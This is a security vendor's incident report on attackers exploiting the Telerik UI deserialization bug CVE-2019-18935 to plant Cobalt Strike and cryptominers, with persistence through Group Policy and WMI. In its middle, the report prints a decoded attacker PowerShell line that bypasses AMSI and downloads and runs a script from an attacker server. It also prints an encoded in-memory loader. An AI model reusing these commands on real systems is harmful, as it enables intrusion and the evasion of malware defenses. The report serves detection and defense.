Using a methodology first seen in 2020, an unknown threat actor has been exploiting a three-year-old bug in the Telerik UI web application framework to take control of web servers, installing Cobalt Strike beacons and other malware in the process.
In the weeks following the initial, 2019 disclosure of the vulnerability, attackers scanned the internet for vulnerable applications. Many server admins were caught off guard by a rapid flurry of attacks that delivered cryptominers. But not all the vulnerable servers were hit in the initial wave; the bug was routinely exploited throughout 2020 and 2021 (notably by the Netwalker ransomware operators, who we’ve covered before) – and the Sophos Managed Threat Response team has intervened in several new attacks since the beginning of May.
In the incidents we investigated, the threat actor exploited the vulnerability (designated CVE-2019-18935) to deliver a Cobalt Strike beacon (in the form of a DLL payload) to disk, then used the beacon to execute encoded PowerShell commands, which downloaded more malware, and established persistence on the servers through some novel methods.
These tactics closely resemble those used in a series of attacks two years ago, attributed at the time to a threat actor dubbed Blue Mockingbird. It’s no secret, of course, that threat actors will often reuse tactics, techniques, and procedures (TTPs) and target known, unpatched vulnerabilities, rather than go to the trouble of developing new approaches.
The attempted execution of PowerShell commands triggered Sophos behavioral-based detection rules, which allowed us to evict the threat actor and prevent the attacks from doing any more damage.
Telerik UI for ASP.NET AJAX is a set of components and themes for building web applications, including a bunch of programmable objects that can manipulate how a web page works or looks. Some of those objects can behave like scripts or small programs, and the Telerik management interface gives the site’s developers or managers the ability to upload new modules or other components on demand.
The bug at work here, CVE-2019-18935, is a deserialization vulnerability affecting web applications using Telerik and running on Windows servers – specifically, in Telerik UI’s RadAsyncUpload function, used to process file upload requests.
Serialization is when a web application converts complex data structures, like objects, into a stream of bytes, which can then be stored on disk or sent over a network. Deserialization, as the name suggests, involves changing that byte stream back into the original object. But if a web application deserializes data from user input, an attacker can smuggle malicious code into the serialized object, or even replace the object altogether. Possible impacts of deserialization vulnerabilities include denial-of-service, authentication bypasses, and – as in this case – remote code execution. As a result, the National Vulnerability Database (NVD) determined that CVE-2019-18935 has a CVSS score of 9.8 (CRITICAL).
The bug is a little more complex than it first appears, though. Serialization within the upload handler in Telerik UI is protected by encryption keys, and an attacker needs to know them before they can exploit the vulnerability. They can abuse earlier bugs in Telerik UI – CVE-2017-11317 and CVE-2017-11357 –to do just that, although this requires finding a host that’s still vulnerable. Or an attacker could get the keys through some other means – for example, exploiting another vulnerability in a web application.
Once that’s done, the attacker has to compile a malicious mixed-mode assembly DLL – containing both managed and unmanaged code – which, after exploitation, is executed in the context of the w3wp.exe process, responsible for running web applications on Windows hosts.
So there are a few prerequisites for this exploit chain: finding a vulnerable host; exploiting a five-year-old vulnerability to obtain the encryption keys (or getting them some other way); compiling the right kind of DLL; and then exploiting the deserialization bug. Sounds like a lot of effort!
However, researchers released a public proof-of-concept exploit in mid-December 2019, which does most of the heavy lifting. It contains code from another repository to handle the encryption logic, and a batch file to compile the DLL, making it essentially ‘point-and-shoot’ (an available Metasploit module makes it even easier).
Telerik issued a patch for the vulnerability, but because the Telerik UI framework is usually embedded into custom-built, one-off web applications, it can be hard for the owners of the servers where those applications are running to figure out whether their unique application is vulnerable to the exploit before they fall victim to an attack.
Attackers don’t reinvent the steal
The attacks observed by Sophos MTR appeared to use the proof-of-concept exploit script referenced above, with a Cobalt Strike beacon DLL used as a payload. One of the quirks of this exploit is that, when the attacker uploads the DLL to the server, it always ends up in the C:\Windows\Temp directory on the targeted host, with a Unix timestamp as the filename – which allows us to find out exactly when the attackers exploited the bug.
The Cobalt Strike payload communicates with a command-and-control server located in the Czech Republic, with the following beacon configuration:
Figure 1: The Cobalt Strike beacon configuration
Following execution of the Cobalt Strike payload, the attackers then ran a Base64-encoded PowerShell command, to download and run additional malware from the C2 server.
In environments protected by Sophos, the PowerShell execution shown here triggers a behavioural-based detection rule, which terminates the malicious PowerShell process and opens a Sophos MTR case to investigate further.
Our analysis of setup192.exe reveals that it spawns cmd.exe for self-injection and drops two further suspicious files – crby26td.exe and a.json – in C:\Windows\Temp.
crby26td.exe is XMRig Miner, a legitimate open-source cryptocurrency miner designed to mine for Monero, and a.json is a file containing configuration information for cryptomining:
The ‘user’ field above is the Monero wallet ID – but, due to the design of Monero, we can’t view the balance of the wallet.
Persistence via Group Policy Objects
A few days later, in an unrelated environment, the Sophos MTR team responded to an incident where a threat actor was performing lateral movement and establishing persistence via Active Directory GPOs.
A GPO is a container for group policy settings, and attackers can leverage enumeration of GPOs – which are, by default, readable by authenticated domain users – to identify opportunities for privilege escalation. However, GPOs can also be used to establish persistence and complement lateral movement, as in this case.
After further investigation of the network, we identified that attackers had exploited an unprotected web server which was vulnerable to CVE-2019-18935. After gaining initial access, the threat actor pivoted from the compromised web server to unprotected Domain Controllers in order to plant the malicious GPO.
Figure 4: The attack chain observed by Sophos MTR
The GPO in question was creating scheduled tasks with unique names, which ran only once, across workstations, resulting in encoded data – a hex-encoded cmd.exe command, together with Base64-encoded PowerShell – being written to the following registry key:
Figure 5: The encoded malicious scheduled task in the registry
We used a CyberChef recipe to decode this data, resulting in:
$a='msi';[Ref].Assembly.GetType('System.Management.Automation.A'+$a+'Utils').GetField('a'+$a+'InitFailed', 'NonPublic,Static').SetValue($null,$true);IEX ((new-object net.webclient).downloadstring('hxxp://212.192.241[.]155:8000/a'))
This command uses a common Antimalware Scripting Interface (AMSI) bypass technique; note the attacker’s use of string concatenation (the $a variable) to bypass Windows Defender signatures designed to block this technique.
hxxp[:]//212.192.241[.]155:8000/a is a remote PowerShell script, this time encoded with gunzip and XOR:
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAAOy9Wa/qSrIu+rzrV8yHLa21xNo1wIAxR9rSNTYY444eTJ1SyRjjBtw3Y [-truncated-] q3f94xVr4oD97z0xm85f6tKh+Lyqqi6t93gML5LP4X98EPpf5971L/3eXp5EPvVTX6eZfVa19rfwJCUODYO2EFAA=="));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
When decoded (see here for a primer on decoding malicious PowerShell), the script loads a Cobalt Strike DLL into memory. As in the earlier incidents, XMRig Miner was then downloaded. We also observed an additional binary, tuh25o6n.exe, being dropped; this downloaded hxxp[:]//212.192.241[.]155/up/setup.exe and, as before, saved it to either C:\Windows\Temp\setup192.exe or C:\Users\Public\setup192.exe.
In addition to a scheduled task, the attacker installed a persistent Windows Management Instrumentation (WMI) ActiveScriptEvent consumer named WindowsUpdate, to download and execute malware from the C2 server at hxxp[:]//212.192.241[.]155/up/setup.exe. Threat actors can use WMI ActiveScriptEvent consumers to execute a predefined script upon the triggering of an event, and configure this behavior as either persistent, or a one-off. In this case, it wasn’t clear what the event was, but it may have been the application of GPO settings (Event ID 1500), which from our observations coincided with the creation of malicious tasks.
Figure 6: The malicious WMI ActiveScriptEvent consumer
Mocking Blue Mockingbird?
In May 2020, researchers reported that a threat actor dubbed Blue Mockingbird was exploiting CVE-2019-18935 in order to install XMRig Miner and establish persistence using multiple techniques, including scheduled tasks.
So far, so similar. But there are some key differences in the cases we observed. For instance, in the 2020 incidents, XMRig Miner was packaged as a DLL, and used as the primary payload, whereas we saw Cobalt Strike used initially, and XMRig downloaded later in the attack chain via an intermediary binary.
Blue Mockingbird also used a COR_PROFILER COM hijack for persistence, remote scheduled tasks for lateral movement, and Juicy Potato for privilege escalation (as well as Mimikatz to obtain credentials), whereas these techniques were absent in our investigations.
Interestingly, the Blue Mockingbird C2 mechanism appeared to be experimental in 2020, with the threat actor trying out various tools, including reverse shells in PowerShell and DLL form. So it’s possible that the threat actor we observed is a re-tooled Blue Mockingbird, with a refined infection chain and a (relatively) off-the-shelf C2 mechanism in the form of Cobalt Strike – or it could be a different threat actor, making their own improvements to the Blue Mockingbird methodology.
Either way, it’s clear that CVE-2019-18935 isn’t going away. As shown in the Google Trends graph below, searches for ‘CVE-2019-18935’ peaked in late May 2020, around the time it was reported as being actively exploited by Netwalker and Blue Mockingbird. Activity then tapered off, leading to a lull between November 2021 and January 2022 – but there has been a recent uptick since then, which may be correlated with some of the attacks the Sophos MTR team has investigated.
Figure 7: Google searches for ‘CVE-2019-18935’ between December 2019 and June 2022
Looking at our detections of XMRig Miner (in all attacks) between December 2021 and June 2022 makes for an interesting comparison: fairly low levels of activity until a significant spike in late March 2022, followed by sustained levels of higher activity throughout April and May.
Of course, not all attacks involving XMRig Miner also involve CVE-2019-18935 (and vice versa), and there are all sorts of possible explanations for the fluctuations seen in both graphs. What they do illustrate, however, is that while threat actors’ interests in particular vulnerabilities and tools may vary in the short-term, they often return to tried and tested methodologies.
Detection and guidance
Whether or not the threat actor in this case is Blue Mockingbird, there are three key learning points for organizations. The first is basic security hygiene: ensuring that you have robust ransomware and malware protection in place, and applying up-to-date patches to Internet-facing products and components such as Telerik UI. This can be difficult if your web application was developed some time ago, or by, for example, contracted developers. To check if you’re vulnerable to CVE-2019-18935, there’s a scanner for CVE-2019-18935, including a Python script and an Nmap Scripting Engine (NSE) plugin – although, as always, exercise caution when using third-party scanners and tools.
The second is that even relatively old vulnerabilities can be of significant interest to threat actors; just because a bug has dropped off the infosec news cycle, doesn’t make it less impactful when exploited.
And finally, these incidents demonstrate that threat actors’ TTPs often evolve through gradual, incremental refinement, whether of their own approaches or someone else’s. While brand-new vulnerabilities and novel techniques may grab the headlines – not without good reason – a successful infection may be the result of a few tweaks in an established attack chain. Threat actors, like everyone else, usually prefer to keep things simple.
We reached out to Telerik to let them know that this vulnerability is still being exploited in the wild. They replied with advice they previously sent out to their customers in 2020: “Fixes were provided to our customers and partners in 2017 and 2019. To protect against this vulnerability, we recommend that you upgrade to R1 2020 (version 2020.1.114) or later. If you’re unsure if this impacts you, go to this page.” Telerik also included links to their articles on CVE-2017-11317 and CVE-2019-18935.
Sophos endpoint products installed on web servers will detect the downloader setup192.exe as Troj/Miner-AED, and the downloader tuh25o6n.exe as Troj/DwnLd-ADF. The Cobalt Strike DLL will be detected as Mem/Meter-G, and the Cobalt Strike payload executed in memory will be detected as Troj/PShlSpy-A and ATK/Cobalt-CP. XMRig Miner will be detected as a potentially unwanted application (PUA), and the associated configuration file as Coinminer Config. Additionally, behavioral detections such as Exec_30a will intercept and prevent the downloading and execution of binaries via PowerShell as observed here. Multiple GET requests to [HOST]/Telerik.Web.UI.WebResource.axd?type=rau in your web server logs can indicate possible exploitation attempts.
SophosLabs has posted IOCs relating to the samples analyzed in this report on our Github repository.
SophosLabs would like to acknowledge the contributions of Gabor Szappanos, Gabe Renfro, John Carlo Adriano, Aaron Sullivan, Chaz Denney, Colby Olinarez, and the rest of the Sophos MTR team to this report.